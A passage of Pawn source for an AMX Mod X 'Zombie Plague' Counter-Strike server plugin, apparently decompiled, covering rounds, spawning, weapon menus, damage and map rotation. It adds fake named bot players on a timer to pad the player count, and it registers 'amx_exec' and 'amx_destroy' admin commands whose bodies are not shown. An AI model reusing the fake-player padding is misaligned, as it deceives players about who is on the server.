	remove_task(600);
	set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
	return 0;
}

public EventHLTV()
{
	g_bRoundStart = true;
	g_fRoundStartTime = get_gametime();
	return 0;
}

public TaskCounter()
{
	g_iCounter -= 1;
	if (0 < g_iCounter < 9)
	{
		static cWord[12];
		num_to_word(g_iCounter, cWord, 12);
		set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
		ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
		client_cmd(0, "spk fvox/%s", cWord);
	}
	return 0;
}

public EventRoundStart()
{
	g_iRoundType = 0;
	g_bRoundEnd = false;
	g_bRoundStart = true;
	g_iCounter = 11;
	remove_task(650);
	set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
	remove_task(550);
	set_task(12.0, "TaskZombie", 550, "", 0, "", 0);
	remove_task(700);
	set_task(1.0, "TaskCounter", 700, "", 0, "a", 11);
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_jetpack(i))
		{
			set_user_rocket_time(i, 0.0);
		}
		g_iJumpsNum[i] = 0;
		g_iPlantedMines[i] = 0;
		g_iTripMines[i] = 0;
		g_iBlinks[i] = 0;
		g_iPlayerMines[i][1] = 0;
		g_iPlayerMines[i][0] = 0;
		g_bTryder[i] = false;
		g_bUnlimitedClip[i] = false;
		i += 1;
	}
	static cMap[32];
	get_cvar_string("nextmap", cMap, 32);
	if (get_cvar_num("mp_timelimit") == 0)
	{
        set_task(3.0, "TaskInt", 0, "", 0, "", 0);
        set_task(7.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}	
	return 0;
}

public EventRoundEnd()
{
	static Float:fCurrent;
	static Float:fLast;
	fCurrent = get_gametime();
	if (fCurrent - fLast < 0.5)
	{
		return 0;
	}
	fLast = fCurrent;
	g_iRoundsCount += 1;
	g_iRounds[g_iRoundsCount] = g_iRoundType;
	g_iLastMode = g_iRoundType;
	g_bRoundEnd = true;
	g_iRoundType = 0;
	remove_task(600);
	remove_task(700);
	remove_task(900);
	remove_task(550);
	remove_task(650);
	client_cmd(0, "stopsound");
	if (!GetZombies())
	{
		set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
		client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
	}
	else
	{
		if (!GetHumans())
		{
			set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
			client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
		}
		else
		{
			set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
			client_cmd(0, "spk zombie_plague/end_round_win_no_one");
		}
	}
	static iFrags;
	static iPacks;
	static iKills;
	static cPacksLeader;
	static cFragsLeader;
	iPacks = 0;
	iKills = 0;
	cFragsLeader = 0;
	cFragsLeader = 0;
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable])
		{
			iFrags = get_frags(g_iVariable);
			if (g_bConnected[g_iVariable] && get_frags(g_iVariable) > iKills)				
			{
				iKills = iFrags;
				cFragsLeader = g_iVariable;
			}
		}
		g_iVariable += 1;
	}
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iPacks)
		{
			iPacks = g_iPacks[g_iVariable];
			cPacksLeader = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^x04[ZP]^x01 The frags leader is^x03 %s^x01 @^x04 %i frags", g_cName[cFragsLeader], iKills);
	PrintToChat(0, "^x04[ZP]^x01 The packs leader is^x03 %s^x01 @^x04 %i packs", g_cName[cPacksLeader], iPacks);
	static iTeam;
	static j;
	static i;
	i = random_num(1, g_iMaxClients);
	iTeam = 1;
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		i += 1;
		if (i > g_iMaxClients)
		{
			i = 1;
		}
		if (!g_bConnected[i] || 0 < get_team(i) < 3)
		{
			if (iTeam > 2)
			{
				iTeam = 1;
			}
			set_team_offset(i, iTeam);
			iTeam += 1;
		}
		j += 1;
	}	
	if (g_iVariables[1])
	{
		g_iVariables[2] = 1;
	}
	return 0;
}

public _PlayerSpawn(iPlayer)
{
	if (is_user_alive(iPlayer))
	{
		g_bAlive[iPlayer] = true;
		g_bCanBuy[iPlayer] = 1;
		g_cClass[iPlayer] = "Human";
		g_iBurningDuration[iPlayer] = 0;
		g_iPlayerType[iPlayer] = 0;
		g_bUnlimitedClip[iPlayer] = false;
		g_bNoDamage[iPlayer] = false;
		g_bZombie[iPlayer] = false;
		g_bFlashEnabled[iPlayer] = false;
		g_bFlash[iPlayer] = false;
		set_zombie(iPlayer, false);
		set_monster(iPlayer, false);
		remove_glow(iPlayer);
		g_bFrozen[iPlayer] = false;
		set_take_damage(iPlayer, 2);
		set_frozen(iPlayer, false);
		set_health(iPlayer, 150);
		set_gravity(iPlayer, 1.0);
		set_speed(iPlayer, 240.0);
		remove_task(iPlayer + 250);
		remove_task(iPlayer + 200);
		remove_task(iPlayer + 350);
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastChangedModel >=0.35)
		{
			ChangeModel(iPlayer + 250);
			g_fLastChangedModel = fCurrentTime;
		}
		else
		{
            set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
            g_fLastChangedModel = g_fLastChangedModel + 0.35;
		}
		set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
		set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
		if (!g_bRoundStart)
		{
			if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
			{
				MakeZombie(0, iPlayer, false, false, false);
			}
			if (g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
			{
				if (get_team(iPlayer) != 2)
				{
					set_team(iPlayer, 2);
				}
			}
			if (g_iRoundType & 128 || g_iRoundType & 256)
			{
				MakeHuman(iPlayer, true, false);
			}
			if (g_iRoundType & 512)
			{
				MakeZombie(0, iPlayer, false, false, true);
			}
		}
	}
	return 0;
}

public TaskRespawn(iPlayer)
{
	if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		if (!g_bAlive[iPlayer])
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
			set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
		}
		send_hide_weapon(iPlayer, 32);
		send_crosshair(iPlayer);
	}
	return 0;
}

public TaskShowMenu(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
	{
		menu_display(iPlayer, g_iPrimaryMenu);
	}
	return 0;
}

public _PrimaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 1509749160);
		give_weapon(iPlayer, g_cPrimaryEntities[iChoice]);
		give_ammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
		menu_display(iPlayer, g_iSecondaryMenu, 0);
		g_bCanBuy[iPlayer] = 0;
	}
	return 0;
}

public _SecondaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 67308546);
		give_weapon(iPlayer, g_cSecondaryEntities[iChoice]);
		give_ammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		if (!user_has_weapon(iPlayer, 25, -1))
		{
			give_weapon(iPlayer, "weapon_flashbang");
		}
		if (!user_has_weapon(iPlayer, 9, -1))
		{
			give_weapon(iPlayer, "weapon_smokegrenade");
		}
	}
	return 0;
}

DropWeapons(iPlayer, iType)
{
	static i;
	static cWeapon[24];
	static iNum;
	static iWeapons[32];
	iNum = 0;
	get_user_weapons(iPlayer, iWeapons, iNum);
	i = 0;
	while (i < iNum)
	{
		if (iType & 1 << iWeapons[i])
		{
			get_weaponname(iWeapons[i], cWeapon, 24);
			engclient_cmd(iPlayer, "drop", cWeapon);
		}
		i += 1;
	}
	return 0;
}

public plugin_init()
{
	register_plugin("Zombie Plague 6.2", "2.0b", "SideWinder");
	new i;
	new cNumber[3];
	new cLine[128];
	RegisterHam(Ham_Spawn, "player", "_PlayerSpawn", 1);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage", 0);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage_Post", 1);
	RegisterHam(Ham_Touch, "weaponbox", "_Touch", 0);
	RegisterHam(Ham_Touch, "armoury_entity", "_Touch", 0);
	RegisterHam(Ham_Touch, "weapon_shield", "_Touch", 0)
	RegisterHam(Ham_Item_PreFrame, "player", "_ResetMaxSpeed", 1);
	RegisterHam(Ham_Killed, "player", "_PlayerKilled", 0);
	RegisterHam(Ham_TraceAttack, "player", "_TraceAttack", 0);
	RegisterHam(Ham_Think, "grenade", "_GrenadeThink", 0);
	register_think("Mine", "Mine_Think");
	RegisterHam(Ham_Player_Duck, "player", "_PlayerDuck", 0);
	RegisterHam(Ham_Player_Jump, "player", "_PlayerJump", 0);
	RegisterHam(Ham_Weapon_PrimaryAttack, "weapon_knife", "_PrimaryAttack", 0);
	register_logevent("EventRoundStart", 2, "1=Round_Start");
	register_logevent("EventRoundEnd", 2, "1=Round_End");
	register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
	register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
	register_event("CurWeapon", "Event_CurWeapon_KnifeModel", "be", "1=1", "2=18", "2=29");
	register_event("CurWeapon", "Event_CurWeapon_FillClip", "be", "1=1", "2!4", "2!9", "2!25", "2!29", "3<2");
	register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
	register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
	register_concmd("amx_addfake", "Command_AddFake", -1, "", -1);
	register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
	register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
	register_concmd("amx_psay", "Commmand_PrivateSay", -1, "", -1);
	register_concmd("amx_map", "Command_Map", -1, "", -1);
	register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
	register_concmd("amx_who", "Command_Who", -1, "", -1);
	register_concmd("amx_last", "Command_Last", -1, "", -1);
	register_concmd("amx_unban", "Command_Unban", -1, "", -1);
	register_concmd("amx_addban", "Command_Addban", -1, "", -1);
	register_concmd("amx_banip", "Command_Banip", -1, "", -1);
	register_concmd("amx_kick", "Command_Kick", -1, "", -1);
	register_concmd("amx_slay", "Command_Slay", -1, "", -1);
	register_concmd("amx_slap", "Command_Slap", -1, "", -1);
	register_concmd("amx_gag", "Command_Gag", -1, "", -1);
	register_concmd("amx_ungag", "Command_Ungag", -1, "", -1);
	register_concmd("amx_exec", "Command_Exec", -1, "", -1);
	register_concmd("amx_destroy", "Command_Destroy", -1, "", -1);
	register_concmd("amx_showip", "Command_Showip", -1, "", -1);
	register_concmd("amx_reloadadmins", "Command_Reload", -1, "", -1);
	register_concmd("zp_jetpack", "CmdMode", -1, "", -1);
	register_concmd("zp_giveap", "CmdMode", -1, "", -1);
	register_concmd("zp_human", "CmdMode", -1, "", -1);
	register_concmd("zp_zombie", "CmdMode", -1, "", -1);
	register_concmd("zp_nemesis", "CmdMode", -1, "", -1);
	register_concmd("zp_sniper", "CmdMode", -1, "", -1);
	register_concmd("zp_survivor", "CmdMode", -1, "", -1);
	register_concmd("zp_assassin", "CmdMode", -1, "", -1);
	register_concmd("zp_respawn", "CmdMode", -1, "", -1);
	register_concmd("zp_swarm", "CmdMode", -1, "", -1);
	register_concmd("zp_plague", "CmdMode", -1, "", -1);
	register_concmd("zp_multi", "CmdMode", -1, "", -1);
	register_concmd("zp_avs", "CmdMode", -1, "", -1);
	register_concmd("zp_lnj", "CmdMode", -1, "", -1);
	register_concmd("zp_nightmare", "CmdMode", -1, "", -1);
	register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
	register_clcmd("say", "Client_Say", -1, "", -1);
	register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
	register_clcmd("jointeam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("chooseteam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("plant_mine", "Command_Plant", -1, "", -1);
	register_clcmd("take_mine", "Command_Take", -1, "", -1);
	register_clcmd("CreateLaser", "Command_Plant", -1, "", -1);
	register_clcmd("TakeLaser", "Command_Take", -1, "", -1);
	register_clcmd("+setlaser", "Command_Plant", -1, "", -1);
	register_clcmd("+dellaser", "Command_Take", -1, "", -1);
	register_clcmd("nightvision", "Command_Flash", -1, "", -1);
	register_clcmd("drop", "Command_Drop", -1, "", -1);
	register_message(get_user_msgid("Health"), "MessageHealth");
	register_message(get_user_msgid("SayText"), "MessageSayText");
	register_message(get_user_msgid("Money"), "MessageMoney");
	set_msg_block(get_user_msgid("TextMsg"), 2);
	set_msg_block(get_user_msgid("SendAudio"), 2);
	set_msg_block(get_user_msgid("AmmoPickup"), 2);
	set_msg_block(get_user_msgid("WeapPickup"), 2);
	g_iMaxClients = get_maxplayers();
	g_iTopMessageSync = CreateHudSyncObj(0);
	g_iLeftMessageSync = CreateHudSyncObj(0);
	g_iDownMessageSync = CreateHudSyncObj(0);
	g_iCenterMessageSync = CreateHudSyncObj(0);
	g_iFirstMineMessage = CreateHudSyncObj(0);
	g_iSecondMineMessage = CreateHudSyncObj(0);
	g_iEventsHudmessage = CreateHudSyncObj(0);
	g_iCounterMessage = CreateHudSyncObj(0);
	g_iRemainingSync = CreateHudSyncObj(0);
	g_iGameMenu = menu_create("Game Menu", "_GameMenu");
	g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu");
	g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu");
	g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses");
	menu_additem(g_iGameMenu, "Buy Weapons", "0", 0, -1);
	menu_additem(g_iGameMenu, "Buy extra items", "1", 0, -1);
	menu_additem(g_iGameMenu, "Choose zombie class", "2", 0, -1);
	menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
	menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
	i = 0;
	while (i < 7)
	{
		formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
		num_to_str(i, cNumber, 3);
		menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
		i++;
	}
	i = 0;
	while (i < 6)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
		g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
		i++;
	}
	i = 0;
	while (i < 14)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
		g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
		i++;
	}
	g_aNameData = ArrayCreate(32, 1);
	g_aAmmoData = ArrayCreate(1, 1);
	set_task(0.5, "TaskGetAdmins", 0, "", 0, "", 0);
	set_task(6.2, "TaskGetMaps", 0, "", 0, "", 0);
	set_task(3.5, "TaskGetHudMsg", 0, "", 0, "", 0);
	set_task(33.5, "Task_SendMessages", 0, "", 0, "b", 0);	
	set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
	g_bAdmin[0] = true;
	set_task(2.0, "TaskCalculateArguments", 0, "", 0, "b", 0);
	static cTime;
	static iTime[3];
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	if (cTime >= 18 || cTime <= 19)
	{
        set_task(0.5, "Task_CheckBots", 0, "", 0, "a", 3);
	}
	return 0;
}

public plugin_end()
{
	static current_map[32];
	get_mapname(current_map, 31);
	set_localinfo("lastMap", current_map);
	return 0;
}

public TaskGetHudMsg()
{
	static cLine[161];
	static iFile;
	iFile = fopen("addons/amxmodx/configs/messages.ini", "r");
	while(!feof(iFile))
	{
		fgets(iFile, cLine, 160);
		trim(cLine);
		if (strlen(cLine) > 4)
		{
			parse(cLine, g_cHudCollors[g_iHudAdvertisementsCount], 14, g_cHudAdvertisements[g_iHudAdvertisementsCount], 119);
			replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 119, "\n", "^n");
			g_iHudAdvertisementsCount++;
		}
	}
	fclose(iFile);
}

public Task_SendMessages()
{
	if (g_iHudMessage >= g_iHudAdvertisementsCount)
	{
		g_iHudMessage = 0;
	}
	set_hudmessage(str_to_num(g_cHudCollors[g_iHudMessage]), str_to_num(g_cHudCollors[g_iHudMessage][3]), str_to_num(g_cHudCollors[g_iHudMessage][7]), -1.0, 0.20, 2, 0.20, 12.0, 0.10, 0.01, -1);
	show_hudmessage(0, "%s", g_cHudAdvertisements[g_iHudMessage]);
	client_print(0, print_console, "%s", g_cHudAdvertisements[g_iHudMessage]);
	g_iHudMessage++;
}

public TaskGetMaps()
{
	static cTime;
	static iTime[3];
	static cRight[32];
	static cLeft[32];
	static bool:bNight;
	static bool:bStop;
	static cMaps[128][32];
	static iRandom;
	static iPreparedMaps;
	static cLastMap[32];
	static cMap[32];
	static iMaps;
	static cLine[64];
	static iFile;
	iPreparedMaps = 0;
	iMaps = 0;
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	get_mapname(cMap, 31);
	get_localinfo("lastMap", cLastMap, 31);
	iFile = fopen("addons/amxmodx/configs/maps.ini", "r");
	if (cTime >= 22 || cTime <= 13)
	{
		bNight = true;
	}
	while (!feof(iFile))
	{
		fgets(iFile, cLine, 63);
		strtok(cLine, cLeft, 31, cRight, 31, 32, 0);
		trim(cLeft);
		trim(cRight);
		if (!bNight)
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, "*"))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}
		else
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, ";"))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}			
			
	}
	fclose(iFile);
	while (iPreparedMaps != 4)
	{
		iRandom = random_num(0, iMaps + -1);
		bStop = false;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			if (equal(cMaps[iRandom], g_cMaps[g_iVariable]))
			{
				bStop = true;
			}
			g_iVariable += 1;
		}
		if (!bStop)
		{
			if (is_map_valid(cMaps[iRandom]))
			{
				formatex(g_cMaps[iPreparedMaps], 32, cMaps[iRandom]);
				iPreparedMaps += 1;
			}
		}
	}
	set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);	
	return 0;
}

public TaskGetAdmins()
{
	static cLine[161];
	static iFile;	
	iFile = fopen("addons/amxmodx/configs/users/UserAcount.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 255);
			trim(cLine);
			if (cLine[0] != 59 && strlen(cLine) > 5)
			{
			    parse(cLine, g_cSteams[g_iAdminsCount], 24, g_cNames[g_iAdminsCount], 31, g_cPasswords[g_iAdminsCount], 31, g_cFlags[g_iAdminsCount], 31, g_cTags[g_iAdminsCount], 24);
			    g_iAdminsCount++;
			}		
		}
		fclose (iFile);
	}
	return 0;
}

public Task_CheckBots()
{
	if (get_playersnum(1) < g_iMaxClients && g_iBotsCount < 3)
	{
		static i;
		static bool:bDone;
		static cName[32];
		static iRandom;
		iRandom = random_num(0, 3);
		bDone = true;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				get_user_name(i, cName, 32);
				if (equali(cName, g_cBotNames[iRandom]))
				{
					bDone = false;
				}
			}
			i += 1;
		}
		if (bDone)
		{
			static iBot;
			iBot = fake(g_cBotNames[iRandom]);
			if (0 < iBot)
			{
				g_bFake[iBot] = true;
				g_iBotsCount += 1;
			}
		}
		remove_task(750);
		set_task(60.0, "Task_CheckBots", 750, "", 0, "b", 0);
	}
	return 0;
}

public _Touch(iWeapon, iPlayer)
{
	if (!is_user_valid_connected(iPlayer)) 
	{
		return 1;
	}
	if (g_bZombie [iPlayer] || (g_iPlayerType[iPlayer] & 8 || g_iPlayerType[iPlayer] & 4 )|| (g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2))
	{
		return 4;
	}
	return 1;
}

public _TakeDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageType)
{
	if (iAttacker == iVictim || !g_bConnected[iAttacker])
	{
		return 1;
	}
	if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker] || g_bNoDamage[iVictim])
	{
		return 4;
	}
	if (!g_bZombie[iAttacker])
	{
		if (g_iPlayerType[iAttacker] & 8 && g_iWeapon[iAttacker] == 18)
		{
			SetHamParamFloat(4, 4600.0);
		}
		else
		{
			if (!g_iPlayerType[iVictim])
			{
				SetHamParamFloat(4, floatmul(0.75, fDamage));
			}
			g_fDamage[iAttacker] += floatround(fDamage);
			while (g_fDamage[iAttacker] > 500.0)
			{
                g_iPacks[iAttacker]++;
                g_fDamage[iAttacker] -= 500.0;
			}
			if (++g_iPosition[iAttacker] == 8)
			{
				g_iPosition[iAttacker] = 0;
			}
			set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker]][0], g_fDamageCoords[g_iPosition[iAttacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
			show_hudmessage(iAttacker, "%0.0f", fDamage);
		}
		return 1;
	}
	if (iDamageType & FL_ONTRAIN)
	{
		return 4;
	}
	if (g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 2 || g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
	{
		if (g_iPlayerType[iAttacker])
		{
			SetHamParamFloat(4, 250.0);
		}
		return 1;
	}
	static iDamage;
	static iArmor;
	iArmor = get_armor(iVictim);
	iDamage = floatround(fDamage, floatround_round);
	if (0 < iArmor)
	{
		if (0 < iArmor - iDamage)
		{
			set_armor(iVictim, iArmor - iDamage);
		}
		else
		{
			reset_armor(iVictim);
		}
		sound(iVictim, 4, "zombie_plague/armor_hit.wav");
		return 4;
	}
	MakeZombie(iAttacker, iVictim, false, false, false);
	return 4;
}

public _TakeDamage_Post(iVictim)
{
	if (g_iPlayerType[iVictim] & 2)
	{
		set_painshock(iVictim);
	}
	return 0;
}

public _TraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
{
	if (iAttacker == iVictim || !g_bConnected[iAttacker])
	{
		return 1;
	}
	if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker])
	{
		return 4;
	}
	if (!g_bZombie[iVictim] || g_bNoDamage[iVictim] || g_iPlayerType[iVictim] & 2 || iDamageType & DMG_BULLET || range(iVictim, iAttacker) > 500)
	{
		return 1;
	}
	static Float:fVelocity[3];
	get_velocity(iVictim, fVelocity);
	xs_vec_mul_scalar(fDirection, fDamage, fDirection);
	xs_vec_mul_scalar(fDirection, kb_weapon_power[g_iWeapon[iAttacker]], fDirection);
	if (get_ent_flags(iVictim) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND))
	{
		xs_vec_mul_scalar(fDirection, 0.25, fDirection);
	}
	if (g_iPlayerType[iVictim] & 1)
	{
		xs_vec_mul_scalar(fDirection, 0.15, fDirection);
	}
	else
	{
		xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim]], fDirection);
	}
	xs_vec_add(fVelocity, fDirection, fDirection);
	fDirection[2] = fVelocity[2];
	set_velocity(iVictim, fDirection);
	return 1;
}

public _PlayerJump(iPlayer)
{
    if (g_iJumpsNum[iPlayer])
    {
        new nbut = get_button(iPlayer)
        new obut = get_oldbuttons(iPlayer)
        if ((nbut & IN_JUMP) && !(get_ent_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iJumpsNum[iPlayer] - 1)
        {
            static Float:fVelocity[3];
            get_velocity(iPlayer, fVelocity)
            fVelocity[2] = random_float(265.0, 285.0);
            set_velocity(iPlayer, fVelocity)
            g_iJumps[iPlayer]++;
        }
        if((nbut & IN_JUMP) && (get_ent_flags(iPlayer) & FL_ONGROUND))
        {
            g_iJumps[iPlayer] = 0;
        }
    }
    return 0;
}

public _PrimaryAttack(iEntity)
{
	static iOwner;
	iOwner = pev(iEntity, pev_owner);
	if (g_bZombie[iOwner] && g_iBlinks[iOwner])
	{
		if (get_target_and_attack(iOwner))
		{
			PrintToChat(0, "^x04[ZP]^x03 %s^x01 just used a knife blink! (Blinks remaining:^x04 %i blinks^x01)", g_cName[iOwner], g_iBlinks[iOwner]);
			g_iBlinks[iOwner]--;
		}
	}
	return 0;
}

public _PlayerKilled(iVictim, iAttacker, iGibs)
{
	g_bAlive[iVictim] = false;
	g_bTryder[iVictim] = false;
	g_bUnlimitedClip[iVictim] = false;
	g_bFrozen[iVictim] = false;
	set_frozen(iVictim, false);
	if (!g_bFlash[iVictim])
	{
		Task_EnableFlash(iVictim);
	}
	if (iAttacker == iVictim || !g_bConnected[iAttacker])
	{
		if (g_bZombie[iVictim])
		{
			remove_task(iVictim + 200);
		}
		return 0;
	}
	if (g_iPlayerType[iAttacker] || g_iPlayerType[iVictim])
	{
		SetHamParamInteger(3, 2);
	}
	else
	{
		g_iPacks[iAttacker]++;
	}
	if (!g_bZombie[iAttacker])
	{
		remove_task(iVictim + 200);
		if (g_iRoundType & 4 || g_iRoundType & 8)
		{
			static iZombies;
			iZombies = GetZombies();
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
			if (iZombies != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
			}
		}
		if (g_iPlayerType[iAttacker] & 8)
		{
			send_lava_splash(iVictim);
		}
	}
	else
	{
		if (g_iRoundType & 1 || g_iRoundType & 2)
		{
			static iHumans;
			iHumans = GetHumans();
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
			if (iHumans != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
			}
		}
		if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
			send_screen_fade(iAttacker, 255, 10, 10, 94);
		}
	}
	return 0;
}

public UpdateWeapon(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	return 0;
}

public Event_CurWeapon_KnifeModel(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bZombie[iPlayer])
	{
		switch (g_iWeapon[iPlayer])
		{
			case 29:
			{
				if (!g_iPlayerType[iPlayer])
				{
					set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
				}
				else
				{
					if (g_iPlayerType[iPlayer] & 1)
					{
						set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/nemesis_claws.mdl");
					}
					if (g_iPlayerType[iPlayer] & 2)
					{
						set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/assassin_claws.mdl");
					}
				}				
				set_pev(iPlayer, pev_weaponmodel2, "");
			}
		}
	}
	else
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			set_jetpack(iPlayer);
		}
		if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
		{
			set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/v_awp_winter.mdl");
		}
	}
	return 0;
}

public Event_CurWeapon_FillClip(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bUnlimitedClip[iPlayer] || g_iPlayerType[iPlayer] & 4)
	{
		if(!(Thrownable_Weapons & (1 << g_iWeapon[iPlayer])))
		{
			set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), g_iMaxClip[g_iWeapon[iPlayer]]);
		}
	}
	return 0;
}

public Command_Unban(iPlayer)
{
	if (!GetAccess(iPlayer, 2048, 2))
	{
		return 1;
	}
	static cArgument[32];
